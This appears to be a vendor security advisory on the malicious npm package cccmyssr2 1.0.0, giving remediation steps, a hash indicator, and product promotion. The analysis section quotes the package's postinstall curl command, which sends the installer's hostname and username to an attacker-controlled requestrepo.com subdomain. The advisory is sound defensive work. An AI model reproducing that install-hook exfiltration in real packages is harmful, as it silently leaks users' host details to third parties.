Which versions of cccmyssr2 are malicious?

The following npm versions of cccmyssr2 are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate cccmyssr2 if I installed it?

cccmyssr2 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed cccmyssr2 — how do I know if it already compromised me?

If cccmyssr2 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is cccmyssr2 part of a known attack campaign?

Yes — cccmyssr2 is associated with the IN-MAL-2026-007440 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cccmyssr2 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr2 (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr2 across your stack and pipelines.

Malicious package

cccmyssr2npm

Malicious code in cccmyssr2 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6391

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cccmyssr2

What this malware does

On npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)", transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr2 (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr2 across your stack and pipelines.
If you installed it — respond
cccmyssr2 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cccmyssr2 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cccmyssr2 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. cccmyssr2 on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007440

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks cccmyssr2-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring